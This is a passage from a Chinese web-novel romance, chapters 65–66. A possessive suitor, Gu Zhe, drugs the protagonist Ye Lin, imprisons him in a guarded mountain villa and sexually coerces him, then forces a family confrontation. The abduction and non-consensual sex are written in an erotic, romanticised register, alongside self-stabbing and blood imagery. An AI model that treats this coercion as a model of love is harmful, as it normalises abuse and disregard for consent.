顾柘解开绳子,边处理手腕处的伤口,边说道:“我知道,不是你的错,都怪楚诏没边界感。” 叶临连声附和:“对,是他自己要上门的,我又打不过他,只能委曲求全。” 顾柘仔细地包扎,又落下一个吻,深情款款:“以后老公建一个安全的堡垒,把宝宝藏起来,再也不会有脏男人敢靠近了。” 平时顾柘不会说出这么粘腻恶心的话,感觉不太妙。 叶临心情紧张,小心翼翼地询问:“老公,什么意思啊?” 顾柘似笑非笑,眼神怪异。突然拿出毛巾捂住叶临的口鼻。 很快,叶临就昏睡过去。 早春时节,许多花都开了。街边的树上密缀满了小巧的花朵,花瓣薄如蝉翼,透着淡淡的光泽。 医院外还是以白色的梨花为主,其中夹杂着几棵淡粉色的桃花,看上去就像是大片雪里铺着小粉色绒毯。 微风拂过,几朵梨花飘进来。 沈邵下床,将梨花捡起来,看着手心里的花瓣若有所思。 他之前住院忙着处理梵星的合同,过度忧思劳累,伤到了心脏和神经系统,身体还没康复,偶尔会被护士推去院子里欣赏春景。 可还是希望是叶临推着他出去,这样的春天才有趣。 门口传来脚步声,感觉是熟悉的人。 沈邵偏头去看,果然是楚诏。 楚诏的脸上贴着几块膏药,左手用石膏悬挂着,明显是被打过,好歹还能正常行走。 “你来做什么?” “叶临彻底失去消息了,好像是被顾柘关起来,我怎么都找不到他。” “果然如此,你被顾柘发现了吧。” 沈邵在沙发上坐下来,偏头去看植物角里的兰花,叶子长得很好。 楚诏神情焦急,跑到他跟前解释情况:“我之前做了错事,害得叶临被关,现在想补救。” 沈邵轻蔑地笑起来,用力抓紧沙发扶手:“你果然会做蠢事,叶临肯定怨恨你。要是你早点听我的话,怎么会害叶临沦落到这个地步。” 楚诏想到自己背刺叶临,却还能得到叶临的庇护,恨不得怒扇自己十几巴掌,大骂蠢人。 如果不是他的话,叶临不可能会被顾柘关起来,杳无音信。 本来膈应沈邵嘲讽他的那些话,但是想到叶临深陷困境,还是跑来找沈邵。 哪怕被嘲讽,也无所谓。 “你有什么办法能救叶临吗?无论多困难,我都会去做。” “当然有。” 沈邵打开手机,把顾嘉致的信息发送过去。 “你去找顾嘉致,帮他对付顾柘就好。他们是双胞胎,顾柘能出入的地方,顾嘉致也可以。” “双胞胎的感情比一般兄弟都要好,真的会帮忙吗?” “顾嘉致的初恋是叶临,被顾柘横插一脚,失去记忆。如果你是顾嘉致,我估计你比他还要恨顾柘。我会给你两手准备,到时候你按照我说的做就行。” 沈邵想到前尘旧事,刻意叮嘱:“对了,我在你背后帮忙谋划的事,不要告诉顾嘉致。我跟他有过节,他知道你跟我有联系,会对你有戒心。” 楚诏点头答应,仔细查看顾嘉致的资料,才发现叶临居然陷入了混乱的漩涡里,将许多人牵扯进来。 沈邵看到他听话的模样,脑海里已经浮现出完美的计划:先让楚诏替他联系顾嘉致,到时候三个男人争得你死我活,自己再出面坐收渔翁之利。还可以装无辜,不会被叶临嫌弃。 楚诏跟沈邵打听了其余四个人的详细信息,说了两句客气话,就离开病房。 他今天来找沈邵,一是为了对付顾柘,二是为了查清楚叶临以前跟这些男人的旧事,知道自己的对手都有哪些人,三是为了获得叶临的真心。 打游戏的时候就是分析每个敌人的弱点,联合队友逐一击破,而不是单打独斗。 放到现实生活也是如此,他先假意跟沈邵联盟,掰倒其余的对手,再背刺沈邵,获得最终胜利。 他对叶临的感情复杂,恨过也爱过,最后还是恨叶临不能只爱他一个人。 既然忘不掉叶临,那就要一条路走到黑吧。 第65章 第65章“嘉致,快叫嫂子。”…… 叶临在睡梦中听见鸟叫声,像是去到森林里,空气清新,绿意盎然。 睁开眼就发现自己到了陌生的地方,比公寓卧室还要大两倍的空间,墙壁还有精致的浮雕,以及奇形怪状的摆设。 左手边有一个超大的落地窗户,入目皆是绿树,像是大幅的绿色油画。 看久了像是绿色的深渊,要将人拽进去吃掉,莫名惊悚。 他下床靠近窗边,发现窗户完全被锁住,根本打不开,而房间门也被锁上。 应该是一*处建在深汕里的别墅,像是树木组成的牢笼,将他困在这里,哪里都不能离开。 艹,肯定是顾柘那个混蛋干的破事! 叶临大骂几句,搬起椅子朝着窗户用力砸去。 结果窗户玻璃没破,椅子倒是裂开了,同样的还有房间门锁。 难道门窗都是用防弹级别的材质吗,居然坚不可摧? 叶临烦躁地砸东西,把房间里所有能毁坏的东西都摔了,累得倒下来休息。 他发现脚踝处的跟踪器不在了,看来是被顾柘发现。 所以顾柘想要做什么,困死他吗? 叶临骂了几句脏话,忽然注意到头顶的黑点,仔细打量才发现,那是监控头。 好家伙,不仅打造了别墅监狱,还有监控,真是疯子! 早知道,最开始就不要跟这种脑子有问题的反派扯上关系。 顾柘才是最应该提防的人,心思歹毒,手段阴险,对付他就知道威逼利诱。 现在好了,他暂时不能离开这个房间,彻底失去自由。 “真是艹蛋的烂人!” 叶临怒骂一声,拿起杯子朝着监控头的方向砸去,发泄自己的怒气。 没想到这个监控头质量很好,毫发未损,还开始转动,往下对准叶临的脸颊不动,发出红光。 像是一条毒蛇的眼睛突然亮起,即将喷出致命的毒液。 叶临莫名想到顾柘阴冷的眼神,没有再攻击这个监控头,转而去看窗外的景色。 说实话,现在唯一庆幸的是顾柘喜欢他,而不是恨他,不然今天恐怕难逃一死。 叶临想到原著里顾柘种种恶劣的做法,不由得庆幸自己没有跟顾柘结仇。 光是想想那天顾柘抓着楚诏的头发,面无表情地往墙壁砸,就会发怵。 房间里没有任何电子设备,只能通过阳光来判断时间。 叶临从小在山里长大,看着树林里的光线,判断出来,应该是午后了。 居然还没有人来给他送餐,难道顾柘是想用食物威慑他吗? 这样想着,门突然响起声音,紧接着顾柘就端着食物走进来。 他看到满地的狼藉,一句话也不说,只是默默地清理桌面,把饭菜放在上面。 叶临冲过去,想去开门。 结果发现门口站着两个西方面孔的保镖,而走道上也全是肤色各异的保镖。 门很快关闭,像是棺材盖合上,窒息感十足。 顾柘摆好碗筷,贴心地提醒:“门口的所有保镖都是外国人,楼下的保姆和厨师管家也是。没有任何人听得懂你说话,别想随便出去了。” 语言不通,耍花招的机会都没有。 叶临往回退了几步,声音微微发颤:“顾柘,你到底想做什么?” 顾柘走过来,牵住他的手,神情温柔:“跟你结婚啊,以后你就呆在这里,只需要玩,什么都不用做,我养着你,多好。” 叶临受不了失去自由,冲动之下扇了他的脸:“顾柘,你就是个疯子,谁会跟你这种疯子过一辈子,滚!” 顾柘的半边脸全红了,嗤笑一声:“我是疯子?我为什么疯了,你不是最清楚!” 叶临注意到他眼底的恨意,下意识往后退,结果被牢牢地禁锢住,难以动弹。 “叶临,我从小都是别人家的孩子,品学兼优,孝顺听话。我一度以为,未来要跟智商相等,能理解我的人组建和睦的家庭。谁知道会遇到你!” 叶临已经贴近墙壁,紧接着就感觉到冷意,不由得颤抖,试图劝说:“行行行,都是我的错,你放开我,先让我吃饭好不好。” 顾柘没有搭理他的话,自顾自地地做着满足的事情,手上半点不留情。 “你最开始就一边跟梁文乐谈恋爱,一边吊着顾嘉致那个蠢货。后面又跟沈邵和楚诏纠缠不清,多次欺骗我。 世界上怎么会有你这种道德沦丧,不会内疚的混蛋!” 叶临又快哭了,咬着牙骂:“艹,你上次打的还没愈合,别太过分了,疼死了!” 顾柘怜惜地亲吻他的耳垂,语气又变得温柔:“那老公轻轻的,好不好?” 他的精神不正常,一会儿声嘶力竭地骂他,一会儿又温柔地哄人。 这种人就像是定时炸弹,随时随地会爆炸,太可怕了。 还是顺着吧,保命要紧,鬼知道又会做出什么可怕的事情。 叶临浑身都在发抖,抱住顾柘的脖子,软着声音撒娇:“老,老公,抱我去吃饭好不好,我好饿,不想做这种事情。” 顾柘用轻柔吻安抚,抱着他在餐桌前坐下来。 叶临想下去,却被有力的大手强行控制住,被迫坐在这里,像个提线木偶。 “老,老公,让我去你对面吃饭吧,这样不好。” “乖宝宝,就在这里吃。”顾柘把勺子递给他,偏头在后颈落下吻,神情痴迷,像是吸了某种美好的香味。 “艹!”叶临快要忍不住开骂,但他确实肚子饿了,先吃饱了才能反抗这个疯子,只好用勺子吃饭。 还好,顾柘没有做出恶劣的举动,只是像个大狗一样,紧紧地粘着他,偶尔亲亲。 可是吃到六分饱的时候,意味完全就变了。 像是摔进蛇族密集的巢穴里,完全被包裹住,能够清晰感觉到蛇的鳞片,粗糙而炽热。 强烈的痒意,迫使叶临握不住勺子。 “啪嗒——” 勺子坠落到地面上,些许汤液洒出来,脏了地板。 “顾,顾柘你” 叶临像是发烧了一样,脸红得厉害,额角还冒出细密的汗珠。 明明房间里空调开得很足,但是整个人都在发抖,似乎是太怕冷了。 这样怎么能吃饭呢,顾柘就是故意折磨他。 顾柘笑起来,亲吻他的面颊,故意问:“怎么不吃了,是饭不好吃,想吃别的东西了吧。” 叶临听到这句话,就有了熟悉的突兀感,仰着头,差点叫出声。 他像只可怜的天鹅,被迫伸长脖子,剪掉翅膀,难以飞离,只能被蟒蛇缠住,拖入泥水之中。 雪白的羽毛被灰黑的泥水玷污,吸饱了水,沉重得有千斤重。 顾柘抱着他,心满意足地喟叹:“味道怎么样,喜欢吃吗?” 叶临快被强烈的感觉逼疯,终于演不下去,破口大骂:“你这个疯子,脑瘫,神经病,放开我!” 顾柘不语,只是一味地亲吻。就像是蟒蛇爬行过草丛,留下痕迹。 叶临又疼又痒,像是被架在大火上炙烤,滋啦啦地响,眼泪随之滑落。 “不,不要,呜呜呜呜” “怎么又哭了,喝的水太多了?” 顾柘语气轻柔,像是在对待易碎的瓷器,吻过眼角,试图安抚他。 可是他的实际行动又跟语言相悖,恨不得往死里折磨叶临。 要这个心眼坏的小骗子完全记住自己,恨比爱长久,痛也比痒更深刻。 叶临泣不成声,有瞬间他怀疑自己失去了意识,大脑一片空白,只隐约听到系统的播报声。 【当前金钱增速为每小时23万。】 【能量补充过快,数据异常,建议宿主控制。】 异常? 叶临回过神来,发现自己脚不沾地,居然来到了窗户前面,看着外面的绿意。 这片森林果然诡异,白天也像是黑夜,里面像是寄居着某种有着巨大触手的怪物,要将他完全拖进去。 他甚至分不清现在是几点,就总感觉时间过得很慢,像是一个世纪那么久远。 忽然间,尿意变得强烈。 叶临已经哭累了,着急地掐住顾柘的手臂要求:“我,我要去上厕所!” 顾柘亲吻泛红的耳垂,陪着他过去。 “不,不,放我下来,你放我下来,我可以自己” 叶临双脚乱蹬,努力挣扎着想要获得生理自主权。 可是顾柘偏偏不如他意,紧紧地抱住,低声道:“老公帮你不好吗?宝宝就是什么都不需要会,等着老公伺候就好了。” 叶临还能清晰地感觉到顾柘的存在,而且越来越强烈,快要烫死他,急得大叫:“你真无耻,我从没见过你这种艹!” 接下来他说不出话,语句完全碎掉,断断续续的,化作好几个单音节。 脸颊红得像是海面上的夕阳,艳丽而神秘,吸引人靠近。 顾柘贴心地帮着他,慢慢地解决。 是淅淅沥沥的声音,像是雨珠落在小池塘上,浮现出圈圈涟漪。 叶临捂住脸,不愿去看,耳尖红得滴血,整个人像是坏掉的玩具,彻底失去力气。 顾柘强行拉下他的手,注视着镜子中的前后靠在一起的两个人:“叶临像个小宝宝一样,好乖啊。” 叶临看见镜子中的自己,哪里还能够看出曾经意气风发,天不怕地不怕的直男味,全是被男人长期疼爱过后的颓靡虚弱感。 莫大的耻辱像是潮水一样将他淹没,击溃了他残存不多的自尊心。 眼泪再次滑落,顺着脸颊流下来,却没有哭声。 顾柘注意到他的情绪低沉,连忙询问:“怎么哭了?” 叶临哽咽着咒骂他:“顾柘,我早晚把你抽皮扒骨,吸你的血,吃你的肉,让你永远不得超生!” 顾柘想到他把自己吃掉的情景:昏暗的婚房里,鲜血淋漓,像是无数朵玫瑰花盛开。叶临蹲坐在地上,嘴里是他的血,手捧着他的内脏,浪漫到了极致。 他激动得呼吸急促,面色潮红,把匕首递给叶临:“这么好啊,那你快点把我杀了吃掉。这样我就变成你身体的一部分,永远都不会分开了。” 接过冰冷匕首的瞬间,叶临凭借恨意,用力将它扎进顾柘的手臂。 很快就有大股的鲜血流下来,染红匕首和他的手指,是湿热的感觉。 人血和鸡鸭血不同,他能面无表情地杀掉鸡鸭,却不能对活人动手。 叶临意识到这个事实,飞快地松开手,表情怔愣。 顾柘没感觉到疼,反而觉得舒服,抬手凑到叶临的嘴边,催促着:“不是要吃了我,新鲜的,快点喝。” 叶临扭头躲闪,却被他不断地逼问,心里总算明白自己和顾柘的差距。 他是个能力普通的正常人,顾柘是个彻头彻尾的精神病,根本不能硬碰硬! “怎么不喝,我好失落。” “快喝啊,都要流干了。” 叶临听着他的低语,犹如飘到了地府,产生了强烈的恐惧感,很快就被血腥味熏到晕过去。 由于失血过多,顾柘的脸色泛白,但还把叶临抱回卧室安顿好,才处理伤口。 这次的冲击太大,足足昏迷了三天才醒过来。 还是早晨,又能听见鸟叫声,却不是老家的惬意,而是像丧钟一样。 叶临的心脏咚咚咚直跳,好一会儿才缓过神来。 他发现右手背连接着营养液,而顾柘就坐在旁边看着他,手臂包着纱布,眼神晦暗不清。 是噩梦吗? 叶临下意识地想,很快就反应过来,这是恐怖的现实。 怪不得,总说主角怕反派。他穿成了主人公,是真怕顾柘这个疯子,比鬼还要难缠! 必须想办法逃出去! 先安抚顾柘的情绪,再趁着他放松警惕的时候寻求外界帮助,然后跑出去。 叶临的大脑快速运转,势必要想出个可行的方案。 顾柘:“怎么,又在想该演什么戏,才能取得我信任,好跑出去吗?” 叶临被说中心思,心脏陡然悬高,强装镇定。 空气凝滞了几分钟,房间里充斥着暴雨来临前的压抑感。 顾柘把一套面料舒适的衣服放在叶临的手背上:“对不起,上次把你吓到了。这次我带你出去玩,开心点,快换上衣服。” 气氛终于得到缓和。 叶临松了一口气,指责道:“你知道错误就好,上次就不应该那样对我,神经兮兮的!” 顾柘帮他拆掉吊针,笑着应和:“是我的错,下次不敢吓宝宝了。” 叶临很想回到以前在公寓的日子,尝试把他们的关系拉回去,学着以前的语气责怪:“不要叫我宝宝,恶心死了。你不限制我的自由,我们还能正常相处。” 顾柘站起来,帮他整理衣领,打上漂亮的蝴蝶结领带:“你今天表现好的话,我就不限制你的自由。” 叶临听到有机会,重整旗鼓:“本来我们之间的误会都说清楚了,你折磨我两回就应该扯平,回到以前的样子多好。” 顾柘整理完成,看着他的脸满意地点头,接着就给他戴上黑色的眼罩。 “到地方的时候,我会摘下眼罩。千万不要半路摘下眼罩,否则我不确定自己会做出什么事情。” 叶临想起他这段时间的疯狂举动,暂时不敢偷摘眼罩,要找个合适的机会再摘。 结果下一刻,他的手就被拷住,再无机会。 顾柘把他抱起来,往房间外走,没有给他落地感受方位的机会。 眼罩的质量太好,一丝光亮都透不进来。 叶临只能凭借自己的耳朵听,默默地数着顾柘的步数,希望能够判断出距离。 哒哒哒—— 好像是住在第三层楼,别墅面积应该比梁文乐那栋小一点。 周围应该没有花,就算有,也是香味淡的品种。 出门的时候,感觉到有风吹过,穿着长袖外套都感觉冷。 进入车后座就感觉不到外界的变化,更不可能判断出路程变化。 叶临只能开口说话,想问出点线索。 “今天去哪里啊,怎么搞得这么神秘?” “去我从小生活的地方。” “是你老家吗?” 顾柘抓住叶临的手,来回抚摸手背。 “我一直后悔,为什么没有早点遇见你。如果我们从小一起长大,高中的时候就会谈恋爱了吧。还会在我的房间里打游戏,背着我爸妈偷偷接吻。” “怎么可能啊,我是私生子,天天在平民窟混日子,不会遇到你。” 叶临注意到车辆出现轻微颠簸,还会不断转方向。 他过年回家,经常开车经过各种大山,对现在的情况很敏感,判断出这是一座起伏很大的山,道路弯曲,坡度还不小。 顾柘将叶临抱进怀里,亲了眉心,继续述说自己的幻想:“去到学校后,我们假装不认识对方。大家还以为我们关系不好,实际上我们会在小树林里约会。 你的成绩不好,我就会辅导你,毕业后就上同一所学校,在大学外面租一间公寓同居。 大四的时候,我就会跟爸妈提结婚,我们会在一起举办婚礼,再去度蜜月。” 他是个务实的人,在工作上严格要求自己,从不说空话,也不相信幻想。 可是面对叶临,就要每天自欺欺人,编造各种谎言蒙蔽自己。 就像现在,他知道叶临不爱自己,也要假装他们是竹马,从小就在一起,彼此都是初恋,每个第一次都给了对方。 叶临听着他的话,是真觉得顾柘有精神病,忍不住提醒:“要不然,你去医院看看精神科吧,我真觉得你不太正常。” 顾柘已经说到他们白头的时候,听到这句话,忽然用力握紧叶临的手腕,表情悲戚:“我知道自己不正常,也不想好。” 能喜欢上叶临就是有病了,何必要去治疗。倘若康复后不爱叶临,那他宁可不治。 叶临不敢激怒他,默默地闭嘴,继续感受路程变化。 过了很久,车辆终于停下。 顾柘拆下镣铐和眼罩,扶着叶临下车,还撑开一把伞,避免他直接接触到阳光,会被刺到。 叶临注意到面前有座四层大别墅,大门附近有喷泉,旁边还有四个巨大的石像,两男两女,像是希腊神话人物。 应该是到市区里,温度高了不少,穿着薄外套刚好合适。 迎面走来一个穿着黑西装的管家,做出请的手势,让顾柘进去。 顾柘牵着叶临,边走边跟他解释别墅离的一草一木,以及发生在这里的每件小事。 叶临才发现,原来这个地方是顾柘家。他从出生起就住在这里,直到大学才搬出去。 管家在旁边提醒,顾父和顾母已经等很久了,要他快点进去吃团圆饭。 顾柘点头示意,轻轻地拍叶临的手背,告诉他:“待会儿进去后,什么都由我来说,你不用紧张,正常吃饭就好。” 叶临惊讶,这小子居然是带他见父母:“不是,你提前跟你爸妈说了吗,他们能接受我?” 顾柘自信满满:“很快就会接受,不接受也不不要紧,反正只是通知,不是征求。” 天呐!顾家居然养出顾柘这种疯子,到底什么样的离谱家教? 叶临在急救室外等过顾嘉致,对偏心的顾父顾母没有好感,听到顾柘这样说,也懒得讨好他们,大摇大摆地走进去。 最好顾父顾母极力反对,收回顾柘的所有资源,把这个不听话的乖儿子关起来,那他就自由了。 叶临这样想着,忽然觉得早点见父母是好事,有长辈的阻力,他才能逃出顾柘的魔爪。 顾家的家庭饭厅不大,四周都是透明玻璃,可以欣赏外面的风景。 清澈的人造湖水倒映着芭蕉树和海棠花,交相辉映,还有古朴凉亭。 圆形的紫檀木桌,四周摆放同材质的椅子。周围有几座大型的木雕,或是罗汉,或是飞天神女,栩栩如生。 进门时就闻到一股木质香味,紧接着才是各种饭菜。 视线正对面坐着顾父和顾母,此刻目瞪口呆,没料到儿子会把叶临带回来。 有个年轻男子背对着门口,穿着黑色v领卫衣,是年轻大学生的打扮,看着很熟悉。 叶临隐隐感觉到了什么,想往后退,却被顾柘抓住手腕往前拉。 “爸,妈,我带男朋友回来见见你们。”顾柘拽着叶临朝着饭桌走去。 “你,你怎么能带他回来!”顾父气得脸色发青,站起来说不出话。 顾嘉致没想到顾柘这个乖孩子真敢出柜,转过身去看,对上叶临眼睛的瞬间,心就沉到谷底。 关于叶临的记忆还没完全恢复,只记得一些开头。他回来就是想找时间问问叶临,结果却是在家宴重逢,百感交集。 顾柘看向错愕的顾嘉致,语气难得有哥哥的温柔:“嘉致,快叫嫂子。” 第66章 第66章“能不能喜欢我……”…… 顾嘉致的目光落在顾柘和叶临牵在一起的手,忽然觉得刺眼,嘴像是被无形的胶布封住,怎么都张不开。 顾母扶着顾父,失望地看向大儿子,指着叶临,声音发颤:“你,你怎么能跟这种人谈恋爱,还带来家里,你知道他是谁吗?” 叶临试图挣扎,却被顾柘强行搂住腰,听着他大言不惭。 “知道,他是我这辈子最爱的人,今天回来就是想告诉你们,我要跟他结婚。” “你,你!”顾父的脸气成了猪肝色,开始剧烈地咳嗽。 “小柘,你怎么能说出这种话!你都快把你爸气死了,快点认错,把叶临送出去。”顾母示意旁边的顾嘉致帮忙扶着顾父,还是温柔地劝她最疼爱的儿子。 顾嘉致哪怕讨厌爸妈,也会渴望他们的爱,下意识地听从母亲的话,扶着摇摇欲坠的顾父。 顾柘就是摆出跟全世界为敌的姿态,不顾阻拦:“我们会结婚,今天只是来通知。如果你们是祝福,那就参加婚礼,不愿意就不必来了。” 顾父彻底说不出话,他从没想过,自己最为器重的大儿子会做出这种荒唐事,为了爱情,家人都不要了。 且不说叶临是个男人,光是叶临跟梁文乐的往事,都令人难以接受。 从小省心到大,样样优秀的孩子突然堕落,谁能预料。 顾母以为顾柘来到了叛逆期,还是苦口婆心的继续劝:“小柘啊,妈妈可以接受你喜欢男人,但不能是叶临这种人。 你知道他以前的那些事吧,都传遍了。到时候你跟他结婚,别人会戳你的脊梁骨,你怎么受得了啊。” 顾柘的神情冷淡:“我不在意别人的看法,我只在意自己的幸福。爸,妈,你们从小就能理解我,这次就不能看在我的份上接受叶临,举办婚礼吗?” 叶临太熟悉这个语气了,简直是第二个梁文乐。当初,梁文乐就是这样要挟爸妈,他和顾柘一样从小就得到爸妈的爱,有足够的底气闹。 顾嘉致偏头去看顾母,眼神中闪过疑惑,很快就变成怨恨。 他记得父母从小就是教导他和顾柘,长大后要结婚生子,本本分分地过一辈子。 在他们这种传统的家庭里,绝对不可能接受同性恋。 他为了讨好父母,中学时期就隐瞒性向,努力装成直男。 这辈子都没想过在爸妈面前出柜的情景,结果顾柘领着男朋友回家,就像吃饭喝水一样简单。 顾嘉致咬牙道:“妈,你以前不是说男同最恶心。怎么哥今天带个男朋友回来,你又能接受他喜欢男人了?” 顾母没想到会被小儿子怼,烦躁地叹气一声:“哎呀,怎么样都比叶临好吧。你快劝劝你哥,别让他做傻事。” 为什么顾柘敢出柜,他不敢啊? 顾嘉致感觉自己的人生就像个笑话,松开扶住顾父的手,朝着顾柘走去,指着眉心骂:“你们不会以为顾柘是什么正经人吧? 叶临跟梁文乐谈的时候,就屡次三番地跑去找顾柘,他们还不知道怎么在病房里偷。情呢。 顾柘,你们引以为傲的儿子,知三当三!成功上位后,还要免费帮叶临管公司,送钱又送资源,纯粹倒贴。很丢人吧,你们就是教出这么个不知道礼义廉耻的赔钱货。” 顾父听到,呼吸急促,像是哮喘发作:“小柘,这是真的吗?” 顾母也想起来,以前在疗养院的时候听大儿子谈起心上人,猛然惊醒,哑口无言。 顾柘不在意顾嘉致的嘲讽,更不想提醒顾嘉致和叶临的曾经,只想把所有过程都偷走,欺骗所有人他们相爱过。 “对,我就是道德败坏,知三当三。但是呢,最开始收留叶临的是我,我们才是两情相悦的一对。深爱过,后面却有了误会,叶临才跟梁文乐相恋。 我心里不满,多次纠缠叶临,我们经常背着梁文乐欢好,我心甘情愿帮他管梵星。 后来顾嘉致发现了这件事情,就想劝我迷途知返,但是我不同意,就跟他打了一架,都进了医院。 这些顾嘉致都忘记了,我病好后也不想说。现在就全说出来,就是希望你们知道,我和叶临好不容易在一起,想得到家人的成全。” 所有人都被顾柘这通言论吓到,什么时候又多出来一段虐恋情深的戏码。 太长了,逻辑混乱。 叶临都没听懂,稍稍捋了一下,才发现顾柘居然比他还会撒谎,能够脸不红心不跳地编造经历,这都什么都跟什么啊? 顾嘉致听到他的话,脑海里又浮现出画面:在他的大学附近有个公寓,他每天放学回去都会跟叶临坐在沙发上打游戏,嬉笑怒骂,互相挠对方的痒痒。 顾父两眼一黑,差点昏过去,指着顾柘骂:“逆子!你弟弟好心劝你,你居然大打出手,怪不得他们都说是你先挑事!” 顾母的心思细腻,想到最初在急救室外,叶临还帮顾嘉致说话。 如果真的跟顾柘说的一样,那叶临何必要帮顾嘉致说话,还去看顾嘉致,除非 顾母都不敢细想,看向顾嘉致,久久不敢开口。 还好顾嘉致的眼神跟顾柘的不同,没有令人恐惧的执念,只有单纯的恨意。 顾母左思右想,连忙拉住顾嘉致的手腕,安慰道:“嘉致,对不起,爸妈之前误会你。你其实是个好孩子,比你哥要好。” 顾父没有这么多心思,只是气到极点,拿出手杖朝着顾柘的膝盖打去,大声骂道:“混账东西!你今天非要跟叶临结婚是吧!” 顾柘感觉到疼痛,也没弯掉膝盖,身姿提拔,再次肯定自己的答案。 叶临总算有机会插话,急忙解释:“伯父伯母,你们误会了。我跟顾柘根本没谈过,也没想跟他结婚,你们赶紧把他带走,我还想跟他彻底断了。” 顾柘眼神微变,平静道:“他疯了,别听他乱说。” 叶临还想说话,就被顾柘捂住嘴唇,难以发出声音。 他瞪大了眼睛,愤恨不已,在心里骂了几百遍:艹啊,到底是谁疯了,真想凿死顾柘这个脑瘫! 顾母看到了希望,连带着觉得叶临顺眼起来:“你看,叶临也不愿意,结婚的事情还是算了。你就别提这件事,咱们家还是很欢迎你的朋友吃饭。” 特殊的心电感应让顾嘉致迅速知晓亲哥的心思,冷声嘲讽:“就知道撒谎,看得出来是你自作多情。叶临都不想跟你结婚,就急匆匆地带回家里,真是个笑话。” 叶临恨不得给顾嘉致竖起大拇指,现在只能疯狂点头,还眼神示意这个好兄弟帮自己。 顾柘察觉到叶临在跟顾嘉致对眼神,瞬间就被懊悔的情绪击垮,强行把叶临往外拖:“既然这个家不理解我,那我以后不会再回来了。” 顾母喊“小柘”,捂着胸口,心疼得厉害。 顾父让他滚出去,永远别回来丢人。 顾柘刚受了刺激,没回他们的话,下了死劲控制叶临。 叶临感觉自己快要窒息了,只能抓着顾柘的手臂,搏得缓和的间隙,大声叫起来:“你放开,我今天坐了很久的车,上车前还很冷,刚刚到这里才暖和起来的,我怀疑我感冒了” 他在赌,赌顾嘉致能不能听懂他说的话。 顾柘停下来,摸摸他的额头:“没发烧。” 叶临又去踩他的脚:“我不想回去,那里臭死了,全是破香樟,我要回原来的公寓。” 顾柘不顾外人的目光,把他抱起来哄:“结婚后就回去。” 顾嘉致听着他们的话,只感觉反胃,很想大骂。 现在刚好有机会在爸妈面前诋毁亲哥:“顾柘,那你可要说到做到,永远别回来。以后,顾家就只有我一个儿子!” 走到门口时,顾柘也不忘讽刺这个弟弟:“顾嘉致,我不稀罕已经得到的东西。” 顾嘉致知道他在讽刺自己从小得不到爸妈的爱,也就只有在顾柘犯错的时候才能偷得一点,忍不住握紧拳头。 如果不是亲爸妈在场,他肯定会冲上去把顾柘打死。 顾父要求保镖必须拦住顾柘。 结果顾母心疼地抓住顾父的手臂:“别拦着小柘,万一伤到了怎么办,他才刚康复不久啊。” 顾父想到大儿子进过急救室,也心软了,叹息道:“难不成是叛逆期到了,非要做出点荒唐事才会罢休?” 顾母看着大儿子的背影,始终相信他只是说气话:“再等等吧,小柘想通了就会回来。” 顾柘一直被溺爱,就像梁文乐可以绝食抗议,顾柘也可以用离家出走威胁爸妈。 顾嘉致听到他们的对话,气得猛踹桌子,盘子和碗筷被震落,发出巨大的响声。 顾父顾母都被吓了一跳,出声询问。 “嘉致,怎么了” “是不是顾柘明天回来认个错,你们就什么都答应他了?” “毕竟是一家人,怎么可能绝情,你哥哥也是说的气话,过段时间想通就回来了。” “你们这么喜欢他,那就求他回来。反正,我不想呆在这个家!” 顾嘉致发泄完,就急匆匆地跑出去,暂时不想回到这个没有亲情的家里。 外面的阳光正好,绿树上有许多鸟儿在叫,抬头就能看见鸟妈妈和鸟爸爸在投喂巢穴中的孩子。 巢穴中有五六只鸟宝宝,羽毛都还没长全,只知道叽叽喳喳地叫。 其中有只鸟宝宝长得圆圆胖胖,一直都能得到投喂,其余的就没有吃到多少,瘦得可怜。 顾嘉致见状,要人找来梯子,用虫子投喂其余的鸟宝宝,还把装着一堆虫子的小碗放在巢穴边,才离开。 他刚从树干退下来,就听到脚步声有靠近,紧接着就听到名字。 “顾嘉致,我有事找你。” “你谁啊?” 顾嘉致转过身去,发现一个穿着黑色连帽衫的男子站在面前,左手还打着石膏,神情憔悴。 楚诏把几张照片递给他,上面是顾嘉致和叶临的合照,大都是在梵星公司拍的。 有些是两个人正在打闹,看向镜头拍照,有些是偷拍的视角,他们靠在一起,举止亲密。 这些照片是沈邵转交给楚诏,要他拿给顾嘉致看,好恢复记忆。 果然,顾嘉致看到照片的瞬间,又冒出好几段记忆,是关于他和叶临在梵星的相处日常。 好像还有第三个男人,看不清脸,但能够感觉到也是梵星的管理层之一。 楚诏省略了很多描述,包括叶临帮顾嘉致做的事情,精简话术:“当初,你离开顾家帮叶临创业,每天都会为了梵星忙应酬,费了很多心血。” 顾嘉致有些晕:“等一下,梵星不是顾柘在帮*叶临管理,怎么又跟我扯上关系了,难道我以前在梵星工作过?” 楚诏又把他签署过的几份合同递过去:“对,你是市场部的总监,带着组员去喝酒应酬,签下了梵星最初的几个重要单子,可以说为梵星奠定了基础。” 顾嘉致翻开合同来看,签名处赫然是自己的名字,最熟悉的字迹就像是锐利的刀剑,直达胸膛,唤醒所有的痛觉。 楚诏又给他看叶临跟顾柘相处的日常,转述叶临的遭遇:“现在顾柘把叶临藏起来,我怎么都找不到,只有找你帮忙。” 顾嘉致捏紧合同,想到叶临不情不愿地被顾柘拖走:“我为什么要跟你合作救叶临,我跟你们都没关系。” 楚诏:“你想恢复所有记忆,直接问叶临最清楚。至于我,是我对不起叶临,现在必须帮他。” 离开的时候,他就跟叶临约好了,回来后就说清楚。 当时他的大脑还没好,听到过去的事情会剧烈头疼。 现在好了,就需要过去的人和事物刺。激他,才能想起来。 而且,顾柘极其防备他跟叶临说话,哪怕眼神对视都会应激。 顾嘉致犹豫一会儿,还是答应:“我现在可以把顾柘名下的房产数目给你看。” 楚诏摇摇头:“没用,我早就查过了。太多了,而且他还有很多朋友的房产可以用,没有明确的范围,很难查到。” 顾嘉致总感觉自己跟叶临之间有种默契,像是那种相处了好几个月才有的最佳拍档,猛然回想起叶临说过的话。 “叶临说他坐了很久的车,上车时很冷,到了这里才暖和,难道是山顶的房产,你快查。” “山顶的房产,有十五处,都在郊区。” “香樟树,你有能力查到香樟树密集的地方吗?” 楚诏拿出微型电脑,蹲下来就地查卫星图,还找来好几个朋友帮忙。 在半个小时后,找到一处符合所有要求的别墅,海拔较高,附近的住宅很少,平时很少有车辆,是个藏人的地方。 顾嘉致看到别墅的照片,就知道叶临肯定藏在这里:“今天就得想办法把顾柘支走,他这个人很警惕,叶临今天说了很多话,应该会被他发现是传递消息,会转移地点。” 